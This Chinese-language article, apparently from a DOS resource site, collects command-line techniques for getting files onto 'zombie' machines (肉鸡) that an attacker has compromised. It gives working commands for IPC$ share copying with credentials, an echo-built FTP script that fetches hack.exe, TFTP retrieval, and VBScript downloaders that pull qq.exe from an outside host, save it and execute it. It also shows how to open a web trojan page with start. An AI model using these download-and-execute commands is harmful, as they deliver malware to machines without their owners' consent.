当前位置:DOS资源站资料中心入门文章 → 命令行下向肉鸡传文件终级技巧总结

命令行下向肉鸡传文件终级技巧总结

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2008-5-26 17:52:53

方法一:利用IPC$共享传送方式


net use \IP\共享目录(后面要大$) "密码" /user:"用户名"

copy c:\file \IP\共享目录


方法二:FTP方式

echo open xxx.xxx.xxx.xxx>c:\hack.txt
echo user>>c:\hack.txt
echo pass>>c:\hack.txt
echo get hack.exe>>c:\hack.txt
echo bye>>c:\hack.txt
ftp -s:c:\hack.txt
del c:\hack.txt

方法三:tftp方式

条件:首先你得拥有一个公网IP,把你要传送的文件与tftp放在同一目录.

命令格式: tftp -i 你的IP get xx.exe


方法四:脚本法

方法(1):

echo Set xPost = CreateObject(^"Microsoft.XMLHTTP^"):xPost.Open ^"GET^",^"http://192.168.0.200/qq.exe^",0:xPost.Send():Set sGet = CreateObject(^"ADODB.Stream^"):sGet.Mode = 3:sGet.Type = 1:sGet.Open():sGet.Write(xPost.responseBody):sGet.SaveToFile ^"qq.exe^",2 >sysinfo.vbs

方法(2):

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >sysinfo.vbs
echo xPost.Open "GET","http://192.168.0.200/qq.exe",0 >>sysinfo.vbs
echo xPost.Send() >>sysinfo.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>sysinfo.vbs
echo sGet.Mode = 3 >>sysinfo.vbs
echo sGet.Type = 1 >>sysinfo.vbs
echo sGet.Open() >>sysinfo.vbs
echo sGet.Write(xPost.responseBody) >>sysinfo.vbs
echo sGet.SaveToFile "qq.exe",2 >>sysinfo.vbs

然后执行 cscript sysinfo.vbs就可以了.

方法(3):

type %systemdrive%\\boot.ini 查看系统版本


echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe
echo set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp") >>dl.vbe
echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then quit >>dl.vbe
echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbe
cscript dl.vbe http://192.168.0.200/qq.exe
qq.exe
qq.exe
qq.exe

其中:http://www.xxx.com/hack.exe 改成你文件的网站路径.
hack.exe可以改成保存文件的路径.

方法五:命令行下执行网页木马

start http://www.xxx.com/mma.htm

其中http://www.xxx.com/mma.htm为你的网页木马地址.